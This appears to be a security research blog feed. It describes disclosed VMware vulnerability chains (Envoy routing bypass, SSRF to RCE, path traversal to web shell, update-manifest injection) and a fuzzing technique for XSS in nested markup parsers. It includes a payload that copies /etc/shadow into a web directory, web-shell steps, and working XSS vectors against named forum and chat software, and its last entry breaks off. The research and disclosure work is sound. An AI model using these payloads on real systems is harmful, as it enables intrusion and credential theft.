Excerpt from config /opt/vmware/cwp/appliance-gateway/conf/cwp-appliance-gateway.yaml:

node:
  cluster: cwp_appliance
  id: cwp-appliance-v1-2020
static_resources:
  clusters:
    -	
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3030
      lb_policy: round_robin
      name: service_vsw
      type: LOGICAL_DNS
    -
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3020
      lb_policy: round_robin
      name: service_apw
      type: LOGICAL_DNS
    -
      connect_timeout: 5s
      hosts:
        -
          socket_address:
            address: "127.0.0.1"
            port_value: 3010
      lb_policy: round_robin
      name: service_acs
      type: LOGICAL_DNS
Discovery of Java services utilizing netstat command

After studying the application.yml configuration file for the service, which is called service_acs and runs on port 3010, we found that a role-based access model from the Java Spring framework is implemented.

// application.yml
rbacpolicy:
  role:
  - name: SERVICE_USER
    description: This role gives you access to all administration related work
    default: DENY
    permissions:
     - '*:*'

  - name: APPLIANCE_USER
    description: This role gives you access to all administration related work
    default: DENY
    permissions:
     - 'acs:getToken'
     - 'acs:getServiceToken' 
     - 'apw:getApplianceDetails'
     - 'apw:getApplianceSettings'
     - 'apw:getNetworkConf' 
…

A cursory examination of the role policy raises many questions:

  • What is a service user?
  • Why does it have unlimited capabilities?
  • What does the getServiceToken API method do?

We decided to start by exploring the getServiceToken API method. Opening the source code, we studied the description of this method. “Generate JWT Token for Service Request” meaning that every time an application needs authentication for an internal API method call, it accesses this API and receives an authorization token.

An excerpt from TokenGeneratorApi.java:

@ApiOperation(
      value = "Generate JWT Token for Service Request",
      nickname = "getServiceToken",
      notes = "",
      response = AccessTokenDTO.class,
      tags = {"TokenGenerator"}
   )
   @ApiResponses({@ApiResponse(
   code = 200,
   message = "OK",
   response = AccessTokenDTO.class
…
   @RequestMapping(
      value = {"/api/v1/service-token/{serviceName}"},
      produces = {"application/json"},
      method = {RequestMethod.GET}
   )
   ResponseEntity<AccessTokenDTO> getServiceToken(@ApiParam(value = "name of the service which is requesting token",required = true) @PathVariable("serviceName") String serviceName);

Let’s try to get the authorization token by accessing the service that is attached to port 3010 from the internal network.

Accessing Java Service API method using cURL

We got a JWT token, which turns out to be for the role of our old friend, the service user.

Decoding of the JWT token payload:

{
  "sub": "any-service",
  "iss": "user-service",
  "nbf": 1645303446,
  "exp": 1731703446,
  "policy": {
    "role": "SERVICE_USER",
    "permissions": {
      "*": [
        "*"
      ]
    }
  },
  "refreshable": false,
  "iat": 1645303446
}

The prospect of being able to generate a token for a super-user without authentication looks very tempting. Let’s try to do the same trick, but this time externally, through the Envoy server.

Attempt to get service token by accessing Envoy server

We failed, although the other API methods of the Java service were available to us. Let’s see how proxying to internal services is organized and study the mechanisms that are responsible for routing.

When using the Envoy proxy server as a front-end server, the routing table can be generated dynamically using the Route Discovery API. To do this, inside the backend service, use DiscoveryRequest and others entities from the io.envoyproxy.envoy.api package to describe the configuration of routes.

An example of creating a /admin/ router using Envoy API:

public String routeDiscovery(final DiscoveryRequest discoveryRequest) {
      ...
      Route admin = Route.newBuilder().setMatch(RouteMatch.newBuilder().setPrefix("/admin/").build()).setRoute(RouteAction.newBuilder().setCluster("admin_cluster").setHostRewrite(this.hostName).build())
      Builder virtualHostOrBuilder = VirtualHost.newBuilder().setName("backend").addDomains("*");
      virtualHostOrBuilder.addRoutes(admin);
      VirtualHost virtualHost = virtualHostOrBuilder.build();
      RouteConfiguration routeConfiguration = RouteConfiguration.newBuilder().setName("route").addVirtualHosts(virtualHost).build();
      DiscoveryResponse discoveryResponse = DiscoveryResponse.newBuilder().setVersionInfo("1").addResources(Any.pack(routeConfiguration)).build();
      TypeRegistry typeRegistry = TypeRegistry.newBuilder().add(DiscoveryResponse.getDescriptor()).add(ClusterLoadAssignment.getDescriptor()).add(RouteConfiguration.getDescriptor()).build();
      String response = null;
      ...
      try {
         response = JsonFormat.printer().usingTypeRegistry(typeRegistry).print(discoveryResponse);
      } catch (InvalidProtocolBufferException err) {
         log.error("Error while serializing response", err);
      }

      return response;
   }

Let’s consider a specific example from the Java service.

An excerpt from EnvoyXDSServiceImpl.java:

package com.vmware.cwp.appliance.applianceworker.service.impl;

@Component
public class EnvoyXDSServiceImpl implements EnvoyXDSService {
...
   public String routeDiscovery(final DiscoveryRequest discoveryRequest) {
...
Route service_token_block = Route.newBuilder()
   .setMatch(RouteMatch.newBuilder()
   .setPrefix("/acs/api/v1/service-token").build())
   .setRoute(RouteAction.newBuilder().setCluster("service_vsw")
   .setPrefixRewrite("/no_cloud").build()).build();

...
Route acs = Route.newBuilder()
   .setMatch(RouteMatch.newBuilder()
   .setPrefix("/acs/").build())
   .setRoute(RouteAction.newBuilder()
   .setCluster("service_acs")
   .setHostRewrite(applianceIPv4Address).build()).build();
...

We see that when we encounter the URL /acs/api/v1/service-token, the application forwards the request to the stub page, instead of passing the request onto the service for processing. At the same time, any URL prefixed with /acs/* will be forwarded to the backend. Our task is to bypass the blacklist and pass the whitelist conditions. A special feature of the Envoy server is required to allow us to do that. We read the documentation and found one interesting point: the Envoy server has disabled normalization by default.

 Excerpt from Envoy documentation
 Excerpt from Envoy documentation

Despite the recommendations of the Envoy developers not to forget to enable this property when working with RBAC filters, the default value often remains unchanged, as it is in this case. Disabled normalization means that URL /acs/api/v1/service-token/rand and /acs/api/v1/%73ervice-token/rand will be treated by Envoy API as non-identical strings, although after normalization by another server, such as tomcat, the urls will be treated as identical again.

It turns out that if we change at least one character in the API-method name to its URL representation, we can bypass the blacklist without violating the whitelist conditions.

We send a modified request and receive a service token.

Done. We now have a service token with super-user privileges, which grants us administrator powers over this software.

VMware vRealize Operations Manager

In the next story we will tell you about the chain of vulnerabilities found in automation software.

Server-Side Request Forgery

We started by investigating the Operations Manager API , and found a couple of methods available without authentication. These included the API-method /casa/nodes/thumbprints, which takes an address as a user parameter. By specifying the address of a remote server under our control as the parameter in HTTP request we receive a GET request from the Operations Manager instance with the URL-path /casa/node/thumbprint.

Attempting to perform SSRF
GET request in remote server logs

To control the URL-path completely, we can add the “?” symbol to cut off the path normally concatenated to by the application. Let’s send a request with a custom path:

Performing SSRF with arbitrary path
GET request in remote server logs

As a result, we were able to make any GET request on behalf of the application, including to internal resources.

Having been able to make a GET request to internal resources, we tried to make a request to some API methods that are available only to an authorized user. So, for example, we got access to the API method for synchronizing passwords between nodes. When calling this method, we get the password hash of the administrator in two different hashing algorithms – sha256 and sha512.

Obtaining administrator password hash via replication functionality

It is worth saying that the sha family of algorithms is not recommended for password hashing and can be cracked with high chances of success. And since the administrator in the application corresponds to the system admin user on server, if there is a ssh server in the system with a keyless mode of operation, you can connect to the server and gain access to the command shell. To store sensitive data such as a password, it is best practice to use so-called slow hash functions.

Credentials Leak

Despite the high probability of gaining shell access at this stage, the above method is not fully guaranteed and so we have continued our research. It is worth noting how, using SSRF, we gain access to API methods that require authentication. We know of several mechanisms that could provide this functionality and, in this case, not the best approach was chosen. The fact is that every time the API is accessed by the application, it adds a basic authentication header to the request. To extract the credentials from the header, we sent an SSRF request to our remote sniffer, which in response outputs the contents of the http request:

Extracting credentials with HTTP request sniffer.
maintenanceAdmin user credentials

It appears that the application uses the maintenanceAdmin user to access the API. Let’s try to use these credentials to access the protected API methods directly, without SSRF.

Verifying that account is up and running

Well, now that we have super-user privileges, we’re only one step from taking control of the server. After looking through all the API methods, we found two ways to access the shell.

RCE (Password Reset)

The first and rough approach involves resetting the password for the administrative user using the PUT /casa/os/slice/user API method. This method allows you to change the password for users without additional verification, such as the current password. Since the admin user of the same name exists in the system, it is not hard to connect to the system with its account via SSH.

Changing administrator password

If SSH is disabled, simply enable it using one of the API methods.

Enabling SSH server
Connecting via ssh to vROps server

RCE (Path Traversal)

The previous approach involved resetting the administrator password, which can disrupt the customer’s workflow when pentesting. As an alternative approach, we found a way to load a web shell via a path-traversal attack using the /casa/private/config/slice/ha/certificate API method. A lightweight JSP-shell uploaded to the web directory of the server will be used as the web shell.

Exploiting path-traversal attack

After uploading, we access the shell at https://vROps.host/casa/webshell.jsp, passing the command in the cmd parameter.

Execution of id command on the vROps server

Outro

Thank you for reading this article to the end. We hope you were able to find something useful from our research. Whether you are a developer, a researcher or maybe even the head of PSIRT.

We also would like to highlight that this research resulted in 9 CVEs of varying severities, and each report was handled with the utmost care by the VMware Security Response Center team. We appreciate VMware for such cooperation.

Hunting for bugs in VMware: View Planner and vRealize Business for Cloud

By: admin
15 February 2022 at 14:06

Last year we found a lot of exciting vulnerabilities in VMware products. They were disclosed to the vendor, responsibly and have been patched. It’ll be a couple of articles, that disclose the details of the most critical flaws. This article covers unauthenticated RCEs in VMware View Planner (CVE-2021-21978) and in VMware vRealize Business for Cloud (CVE-2021-21984).

We want to thank VMware and their security response center for responsible cooperation. During the collaboration and communication, we figured out, that the main goal of their approach to take care of their customers and users.

VMware View Planner

VMware View Planner is the first comprehensive standard methodology for comparing virtual desktop deployment platforms. Using the patented technology, View Planner generates a realistic measure of client-side desktop performance for all desktops being measured on the virtual desktop platform. View Planner uses a rich set of commonly used applications as the desktop workload.

VMware View Planner Documentation

After deploying this system, users access the web management interface at ports 80 and 443.

Web panel

We started our investigation using the netstat -pltn command to identify the process assigned to port TCP/443. As shown below, we found this to be the docker’s process:

List of open ports

To get a list of all the docker containers and the ports each one forwarded to the host machine we ran the docker ps command:

List of Docker containers

Ports 80 and 443 was forwarded from the appacheServer container. Next, we attempted to get a shell inside of the container in order to find out the exact application that handles the HTTP requests. As shown below this turned out to be the httpd server:

List of open ports in Docker container

The configuration file for the httpd server httpd.conf was located in the directory /etc/httpd/conf/. An extract of the configuration file is show below:

<Directory "/etc/httpd/cgi-bin">
	AllowOverride None
	Options None
	Require all granted
</Directory>

# WSGI configuration for log uplaod
WSGIScriptAlias /logupload /etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py

<IfModule headers_module>
	#
	# Avoid passing HTTP_PROXY environment to CGI's on this or any proxied
	# backend servers which have lingering "httpoxy" defects.
	# 'Proxy' request header is undefined by the IETF, not listed by IANA
	#
	RequestHeader unset Proxy early
</IfModule>

The line with the WSGIScriptAlias directive caught our attention. That directive points to the python script log_upload_wsgl.py which responsible for handling requests to the /logupload URL. Significantly, authentication is not required in order to execute this request.

We determined:

  1. VMware View Planner handles a request to the /logupload URL made to the 443/TCP port.
  2. The request is redirected from the host into the appacheServer docker container.
  3. The Apache HTTP Server’ service (httpd) handles the requests to the mentioned URL inside the container by executing the log_upload_wsgl.py python script.
Request handling workflow

We immediately started analysis of the log_upload_wsgi.py script. The script is very small and lightweight. A summary of this script’s functions:

  1. The script handles HTTP POST requests.
  2. The script parses a data from request.
  3. The script creates a file with the pathname based on the unsanitized data from the request and static prefix.
  4. Finally, the script writes the POST content into that file.
#...
    if environ['REQUEST_METHOD'] == 'POST':
        #...
        resultBasePath = "/etc/httpd/html/vpresults"
        try:
            filedata = post["logfile"]
            metaData = post["logMetaData"]

            if metaData.value:
                logFileJson = LogFileJson.from_json(metaData.value)

            if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
                os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))

            if filedata.file:
                if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
                else:
                    filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
                with open(filePath, 'wb') as output_file:
                    while True:
                        data = filedata.file.read(1024)
                        # End of file
                        if not data:
                            break
                        output_file.write(data)

#...

We were surprised at user data wasn’t filtering. This means we could create arbitrary file with arbitrary content using a Path Traversal or uncommon feature of the os.path.join function.

How os.path.join works

We want to draw attention to the unsafe use of os.path.join function in some cases. Even if the user input has been sanitized and the “..” strings would be stripped to prevent the Path Traversal, it’s possible to use the absolute path to the desired directory in the second argument.

Often even if there are possibilities to upload a malicious file for getting an arbitrary remote code execution python web app needs to be restarted entirely to pick up this new code. Unfortunately for VMware, this time, the WSGIScriptAlias alias in the httpd’s config meant that the script would not be cached and would be loaded into memory and executed each time users request the /logupload URL.

With this in mind, we decided to overwrite the original log_upload_wsgi.py script with our own malicious code. We had only one attempt to upload a valid python script otherwise we would break the web app. We created a WSGI web shell in the python language and tried to upload it to the /etc/httpd/html/wsgi_log_upload/ folder with log_upload_wsgi.py filename.

Uploading web shell

The attempt was successful and we uploaded the file. For the PoC we executed the whoami command sending an HTTP request to /logupload path with GET parameter cmd. Finally, we got the current system user in the server’s response, it was apache user.

Executing whoami command

VMware vRealize Business for Cloud

VMware vRealize Business for Cloud automates cloud costing analysis, consumption metering, cloud comparison and planning, delivering the cost visibility and business insights you need to run your cloud more efficiently.

VMware vRealize Business for Cloud Documentation

The second vulnerability in this article affects software, which works alongside with the cloud services. During the assessment, we discovered the application update mechanism is accessible without any authentication. Exploiting this feature resulted in arbitrary code execution on the target system.

It is no secret that if the attacker gets access to software update functionality and can affect the installation process, that would lead to critical consequences for the system. In this case, the update mechanism allowed for the setting up of custom repositories for the package sources. Although this method gives more flexibility to the administrator as they can choose the package location themselves, it exploitation easier for attackers.

At first, we looked closely at the script upgradeVrb.py located in the directory /opt/vmware/share/htdocs/service/administration/ and responsible for the upgrade functionality. It was found that it is available without authentication, and also accepts the repository_url parameter.

The fragment of the vulnerable code upgradeVrb.py:

app = Router()
@app.route('/service/administration/upgradeVrb.py/updatesFromSource', methods=['PUT'], content_type="text/plain")
def va_upgrade():
    repository_type = routing.get_query_parameter('repository_type')  # default, cdrom, url
    # default is when no provider-runtime.xml is supplied
    try:
        os.unlink("/opt/vmware/var/lib/vami/update/provider/provider-runtime.xml")
    except:
        pass

    url = ''
    if repository_type == 'cdrom':
        url = 'cdrom://'
    elif repository_type == 'url':
        url = routing.get_query_parameter('repository_url')
        if not url:
            cgiutil.error('repository_url is needed')
    elif repository_type == 'default':
        url = 'https://vapp-updates.vmware.com/vai-catalog/valm/vmw/a1ba78af-ec67-4333-8e25-a4be022f97c7/latest'

By specifying the address of the remote server controlled by us in the repository_url parameter, we noticed in logs, that the application requested the manifest-latest.xml file.

Setting custom repository as a source
Web-server logs on our remote server

So, after spending a little time in documentation we figured out that file manifest-latest.xml is a protagonist in repository. The custom repository consists of packages, additional resources and the manifest. The manifest file is a core component for each repository, and it describes the exact steps of the updating process. The repository can be located on any web server as a set of files and folders, but it must meet the specification.

At the next step an example of the correct manifest file for this software was found.

<?xml version="1.0"?>
<update xmlns:vadk="http://www.vmware.com/schema/vadk" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vmw="http://www.vmware.com/schema/ovf">
  <product>vRealize Business for Cloud</product>
  <version>7.6.0.28529</version>
  <fullVersion>7.6.0.28529 Build 13134973</fullVersion>
  <vendor>VMware</vendor>
  <vendorUUID>706ee0c0-b51c-11de-8a39-0800200c9a66</vendorUUID>
  <productRID>a1ba78af-ec67-4333-8e25-a4be022f97c7</productRID>
  <vendorURL/>
  <productURL/>
  <supportURL/>
  <releaseDate>20190403115019.000000+000</releaseDate>
  <description>vRealize Business for Cloud</description>
  <EULAList showPolicy="" introducedVersion=""/>
  <UpdateInfoList>
    <UpdateInfo introduced-version="7.8" category="feature" severity="important" affected-versions="" description="" reference-type="vendor" reference-id="" reference-url=""/>
  </UpdateInfoList>
  <preInstallScript>
    #!/bin/sh
    exit 0
</preInstallScript>
  <postInstallScript>
    #!/bin/sh
    exit 0
   </postInstallScript>
  <Network protocols="IPv4,IPv6"/>
</update>

While examining the manifest file, the document elements called preInstallScript and postInstallScript caught our attention:

<preInstallScript>
    #!/bin/sh
    exit 0
</preInstallScript>
<postInstallScript>
    #!/bin/sh
    exit 0
</postInstallScript>

The content of these elements hints that they are responsible for the OS command that would be executed before and after the update, the perfect place to inject the malicious code.

The updating procedure consists of three steps:

  1. Setting up the location of the remote repository
  2. Version comparison between the installed version and the version in the repository
  3. Remote installation procedure

We changed the version number in our repository and added the payload – the cat /etc/shadow > /opt/vmware/share/htdocs/shadow command that will end up with a sensitive file being written to the publicly available directory:

<?xml version="1.0"?>
<update xmlns:vadk="http://www.vmware.com/schema/vadk" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:vmw="http://www.vmware.com/schema/ovf">
  <product>vRealize Business for Cloud</product>
  <version>7.8.4.28529</version>
  <fullVersion>7.8.4.28529 Build 13134973</fullVersion>
  <vendor>VMware</vendor>
….
  <preInstallScript>
    #!/bin/sh
       cat /etc/shadow > /opt/vmware/share/htdocs/shadow
    exit 0
</preInstallScript>
  <postInstallScript>
    #!/bin/sh
    exit 0
   </postInstallScript>
  <Network protocols="IPv4,IPv6"/>
</update>

As it turned out, there is integrity checks on the system. VMware product checks the manifest-latest.xml.sig file that should contain the digital signature of the package. And that is why our first attempt failed:

Application attempting to extract signature from repository

So, this attempt was unsuccessful. But a quick search on the Internet reveals that this step is not mandatory and can be skipped by setting the validateSignature property to False in the provider-runtime.xml, which stores repository url. To do that, we would need another hack.  Let’s look again how the upgradeVrb.py generates the provider-runtime.xml.

    elif repository_type == 'url':
        url = routing.get_query_parameter('repository_url')
        if not url:
            cgiutil.error('repository_url is needed')
    elif repository_type == 'default':
        url = 'https://vapp-updates.vmware.com/vai-catalog/valm/vmw/a1ba78af-ec67-4333-8e25-a4be022f97c7/latest'

    if url:
        with open("/opt/vmware/var/lib/vami/update/provider/provider-runtime.xml", 'w') as provider_file:
            provider_file.write("""
<service>
    <properties>
        <property name="localRepositoryAddress" value="%s" />
        <property name="localRepositoryPasswordFormat" value="base64" />
    </properties>
</service>
""" % url)

As you can see, the repository_url parameter is taken from the user input without sanitization. That means we can inject the validateSignature XML tag via user-controlled parameter, which should disable the integrity checks:

With XML injection, we add validateSignature property in the provider-runtime.xml
Result of our attack: modified XML file with additional element

With the integrity check disabled, we attempted our attack again using the update process.

HTTP request that checks update’s availability
HTTP request that triggers the installation process

The update functionality abuse is successful and we are able to get a copy of the /etc/shadow file available from the web directory without any authentication:

Demo

To be continued

Don’t worry, it’s not over yet. In the next article, we will talk about the SSRF to RCE vulnerability chain and a misconfiguration in a fancy proxy server that led to a severe consequence. Stay tuned!

Fuzzing for XSS via nested parsers condition

By: admin
29 December 2021 at 13:58

When communicating online, we constantly use emoticons and put text in bold. Some of us encounter markdown on Telegram or GitHub, while forum-dwellers might be more familiar with BBCode.

All this is made possible by parsers, which find a special string (code/tag/character) in messages and convert it into beautiful text using HTML. And as we know, wherever there is HTML, there can be XSS.

This article reveals our novel technique for finding sanitization issues that could lead to XSS attacks. We show how to fuzz and detect issues in the HTML parsers with nested conditions. This technique allowed us to find a bunch of vulnerabilities in the popular products that no one had noticed before.

The technique was presented at Power Of Community 2021.

Parsers

What are parsers, and what are they for in messages?

Parsers are applications that find a substring in a text. When parsing messages, they can find a substring and convert it to the correct HTML code.

Well known parsers in messages

HTML as message markup

Some known applications allow using whitelisted HTML tags like <b>, <u>, <img> (WordPress, Vanilla forums, etc.). It is very easy for developers without the hacker’s mentality to overlook some possibilities whilst sanitizing these tags. That is why we think that allowing even a limited list of tags is one of the developers’ worst choices.

BBcode

BBcode is a lightweight markup language used to format messages in many Internet forums, first introduced in 1998. There’re a few examples of the BBCode and the corresponding HTML code:

Input Output
[b]text[/b] <b>text</b>
[i]text[/i] <i>text</i>
[url]http://google.com/[/url] <a href="http://google.com/">http://google.com/</a>
[img]/favicon.ico[/img] <img src="/favicon.ico" />

Markdown

Markdown is a lightweight markup language for creating formatted text using a plain-text editor. It was first introduced in 2004. A few other examples:

Input Output
**text** <b>text</b>
*text* <i>text</i>
[text](http://google.com/) <a href="http://google.com/">http://google.com/</a>
![text](/favicon.ico) <img alt="text" src="/favicon.ico" />

AsciiDoc

AsciiDoc is a human-readable document format semantically equivalent to DocBook XML but uses plain-text markup conventions introduced in 2002:

Input Output
*text* <b>text</b>
_text_ <i>text</i>
[text](http://google.com/) <a href="http://google.com/">http://google.com/</a>
![text](/favicon.ico) <img alt="text" src="/favicon.ico" />

reStructuredText

reStructuredText (RST, ReST, or reST) is a file format for textual data used primarily in the Python programming language community for technical documentation. First introduced in 2002:

Input Output
**text** <b>text</b>
*text* <i>text</i>
`text <http://google.com/>` <a href="http://google.com/">http://google.com/</a>
.. image:: /favicon.ico
:alt: text
<img alt="text" src="/favicon.ico" />

Other well-known parsers

In addition to text markup parsers in messages and comments, you can also find URL and email parsers, smart URL parsers, which understand and transform to HTML not only HTTP links but also images or YouTube links. Also, you can find emoticons and emojis that become pictures from text, links to the user profile and hashtags that become clickable:

Input Output
:) <img src="/images/smile.jpg" alt=":)">
:smile: <img src="/images/smile.jpg" alt=":smile:">
[email protected] <a href="mailto:[email protected]">[email protected]</a>
https://www.youtube.com/watch?v=L_LUpnjgPso <iframe src="https://www.youtube.com/embed/L_LUpnjgPso"></iframe>
http://google.com/image.jpg <img src="http://google.com/image.jpg">
#hashtag <a href="search?q=%23hashtag">#hashtag</a>
@username <a href="/profile/username">@username</a>

What do we know about bugs in this functionality?

If you google “markdown XSS”, you will find examples with missing sanitization of HTML characters and URL schemes. Let’s start with them.

Missing HTML characters sanitization

There is a vulnerability when a parser converts user input to HTML and at the same time does not sanitize HTML characters. It could affect characters such as angle brackets < (0x3c) that are responsible for opening new HTML tags and quotes " (0x22), ' (0x27) which are responsible for the beginning and the end of an HTML attribute:

Input Output
[url]http://google.com/<img src=s onerror=alert(1)>[/url] <a href="http://google.com/%3cimg%20src=s%20onerror=alert(1)%3e">http://google.com/<img src=s onerror=alert(1)></a>
[img]/favicon.ico?id="onload="alert(1)[/img] <img src="/favicon.ico?id="onload="alert(1)" />

Missing “javascript:” URL scheme sanitization

This vulnerability can be exploited when a parser converts user input that contains URLs. If such parsers do not sanitize the “javascript:” URL scheme, it will allow the attacker to execute arbitrary JavaScript and perform XSS attacks:

Input Output
[url=javascript:alert(1)]Click me![/url] <a href="javascript:alert(1)">Click me!</a>
[video]javascript:alert(1)[/video] <iframe src="javascript:alert(1)"></iframe>

Missing “file:” URL scheme sanitization

This is another vulnerability when a parser converts user input that contains URLs. This time the cause is insufficient “file://” URL scheme sanitization. This vulnerability could lead to critical attacks against desktop applications. For example, arbitrary client-side file reading using JavaScript, arbitrary client-side file execution using plain HTML, leakage of NTLM hashes. They could be used for the “pass the hash” or offline password brute force attacks against Windows users:

Input Output
[url]file://1.3.3.7/test.txt[/url] <a href="file://1.3.3.7/test.html">file://1.3.3.7/test.txt</a>
[video]file://localhost/C:/windows/system32/calc.exe[/video] <iframe src="file://localhost/C:/windows/system32/calc.exe"></iframe>
[img]file://1.3.3.7/test.jpg[/img] <img src="file://1.3.3.7/test.jpg">

Decoding after sanitization

Vulnerability when a parser converts user input to HTML, sanitizes HTML characters, but after it decodes user input from known encoding. HTML related encoding could be an urlencode " – (%22) or HTML entities transformation " – (&quote;/&#x22;/&#34;)

Input Output
[url]http://google.com/test%22test%2522test%252522[/url] <a href="http://google.com/test"test"test""></a>
[url]http://google.com/test"e;test&quote;test&amp;quote;[/url] <a href="http://google.com/test"test"test""></a>

Parsers with nested conditions’

Nested condition is when one payload is processed by two different parsers, which, with some manipulations, allows us to inject arbitrary JavaScript into the page. These vulnerabilities are very easy to overlook both by developers and hackers.

However, we found this type of bug you can easily find by fuzzing!

Here is a PHP code sample of a vulnerable application:

<?php
function returnCLickable($input)
{
    $input = preg_replace('/(http|https|files):\/\/[^\s]*/', '<a href="${0}">${0}</a>', $input);
    $input = preg_replace('/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9_-]+)(\?\w*=[^\s]*|)/', '<a href="mailto:${0}">${0}</a>', $input);
    $input = preg_replace('/\n/', '<br>', $input);
    return $input . "\n\n";
}
$message = returnCLickable(htmlspecialchars($_REQUEST['msg']));
?>

User input passed as a sanitized text to the argument of function returnClickable that finds urls and emails and returns HTML code for clickable elements.

Looks safe at first, but if you try to send a string that contains an email inside the URL, the parser will return broken HTML code, and your user input migrates from an HTML attribute value to an HTML attribute name.

Input Output
http://google.com/[email protected]?subject='qwe'onmouseover='alert(1)' <a href="http://google.com/<a href="mailto:[email protected]?subject='qwe'onmouseover='alert(1)'">http://google.com/[email protected]?subject=''onmouseover='alert(1)'</a>">[email protected]?subject=''onmouseover='alert(1)'">http://google.com/[email protected]?subject=''onmouseover='alert(1)'</a></a>

Fuzzlist building logic

For better understanding, we will show you an example with vBulletin. Here is a fuzz-list fragment to discover XSS via nested parsers. The vulnerable BBcode tag is [video], and the tag that allows us to insert new HTML attributes is [font]:

[img]http://aaa.ru/img/header.jpg[font=qwe]qwe[/font]qwe[/img]
[VIDEO="qwe[font=qwe]qwe[/font];123"]qwe[/VIDEO]
[VIDEO="qwe;123"]qw[font=qwe]qwe[/font]e[/VIDEO]
[video="youtube;123[font=qwe]qwe[/font]"]https://www.youtube.com/watch?v=jEn2cln7szEq[/video]
[video=twitch;123]https://www.twitch.tv/videos/285048327?collection=-41EjFuwRRWdeQ[font=qwe]qwe[/font][/video]
[video=youtube;123]https://www.youtube.com/watch?v=jEn2cln7szE[font=qwe]qwe[/font][/video]
[video=vimeo;123]https://vimeo.com/channels/staffpicks/285359780[font=qwe]qwe[/font][/video]
[video=mixer;123]https://www.facebook.com/gaming/?type=127929-Minecraft[font=qwe]qwe[/font][/video]
[video=metacafe;123]http://www.metacafe.com/watch/11718542/you-got-those-red-buns-hun/[font=qwe]qwe[/font][/video]
[video=liveleak;123]https://www.liveleak.com/view?i=715_1513068362[font=qwe]qwe[/font][/video]
[video=facebook;123]https://www.facebook.com/vietfunnyvideo/videos/1153286888148775[font=qwe]qwe[/font]/[/video]
[video=dailymotion;123]https://www.dailymotion.com/video/x6hx1c8[font=qwe]qwe[/font][/video]
[FONT=Ari[font=qwe]qwe[/font]al]qwe[/FONT]
[SIZE=11[font=qwe]qwe[/font]px]qwe[/SIZE]
[FONT="Ari[font=qwe]qwe[/font]al"]qwe[/FONT]
[SIZE="11[font=qwe]qwe[/font]px"]qwe[/SIZE]
[email]qwe@qw[font=qwe]qwe[/font]e.com[/email]
[email=qwe@qw[font=qwe]qwe[/font]e.com]qwe[/email]
[url]http://qwe@qw[font=qwe]qwe[/font]e.com[/url]
[url=http://qwe@qw[font=qwe]qwe[/font]e.com]qwe[/url]
[email="qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/email]
[url="http://qwe@qw[font=qwe]qwe[/font]e.com"]qwe[/url]

Step 1

Enumerate all possible strings that could be converted to HTML code and save to List B:

http://google.com/?param=value
http://username:[email protected]/
[color=colorname]text[/color]
[b]text[/b]
:smile:

Step 2

Save the lines that allow you to pass arguments in HTML as insertion points to List A and mark where the payloads from List B will be inserted. You can also use List C for checking HTML characters sanitization, Unicode support or 1-byte fuzzing:

http://google.com/?param=va%listC%%listB%lue
http://username:pass%listC%%listB%[email protected]/
[color=color%listC%%listB%name]text[/color]

Step 3

Generate the fuzz-list using  Lists A, B and C:

http://google.com/?param=va<[color=colorname]text[/color]lue
http://username:pass<[b]text[/b][email protected]/
[color=color<:smile:name]text[/color]

Detection of anomalies

Method 1 – visual

You can use this method on desktop/mobile apps when you can’t see HTTP traffic or HTML source of returned messages.

Expected results: chunks of HTML code (">, " >, "/>) become visible.

Method 2 – regular expressions

This method can be used when you apply fully automated fuzzing.

For example, we use a regex that searches for an opening HTML tag character < inside of an HTML attribute:

We applied this fuzzing technique against the vBulletin board using BurpSuite Intruder. We sorted the resulting table by the seventh column that contains the true/false condition of the used regex. At the bottom of the screenshot, you can see the HTML source of the successful test case, with the substring found and highlighted by our regex rule:

Discovered vulnerabilities

It’s not a full list, some vendors not patched and something we can’t disclose…

vBulletin < 5.6.4 PL1, 5.6.3 PL1, 5.6.2 PL2

CVE: not assigned

XSS vector (video BBcode + font BBcode):

[VIDEO="aaa;000"]a[FONT="a onmouseover=alert(location) a"]a[/FONT]a[/VIDEO]

HTML output:

<a class="video-frame h-disabled" href="a<span style="font-family:a onmouseover=alert(location) a">a</span>a" data-vcode="000" data-vprovider="aaa">

MyBB

CVE: CVE-2021-27279.

XSS vector (emal BBcode + email BBcode another syntax):

[email][email protected]?[[email protected]? onmouseover=alert(1) a]a[/email][/email]

HTML output:

<a href="mailto:[email protected]?<a href="mailto:[email protected]? onmouseover=alert(1) a" class="mycode_email">a" class="mycode_email">[email protected]?[[email protected]? onmouseover=alert(1) a]a</a></a>

PMWiki

CVE: CVE-2021-29231

XSS vector (div title wikitext + font-family wikitext):

%define=aa font-family='a="a'%
 
(:div title='a%aa% a' style='a':)"onmouseover="alert(1)"
test

HTML output:

<div title='a<span  style='font-family: a="a;'> a' style='a' >"onmouseover="alert(1)"</span> <p>test

Rocket.Chat

CVE: CVE-2021-22886

XSS vector (url parser + markdown url):

[ ](http://www.google.com)
www.google.com/pa<http://google.com/onmouseover=alert(1); a|Text>th/a

HTML output:

<a href="http://www.google.com/pa<a data-title="http://google.com/onmouseover=alert(1); a" href="http://google.com/onmouseover=alert(1); a" target="_blank" rel="noopener noreferrer">Text</a>th/a" target="_blank" rel="noopener noreferrer">www.google.com/pa<a data-title="http://google.com/onmouseover=alert(1); a" href="http://google.com/onmouseover=alert(1); a" target="_blank" rel="noopener noreferrer">Text</a>th/a</a>

XMB

CVE: CVE-2021-29399

XSS vector (URL BBcode + URL BBcode another syntax):

[url]http://a[url=http://onmouseover=alert(1)// a]a[/url][/url]

HTML output:

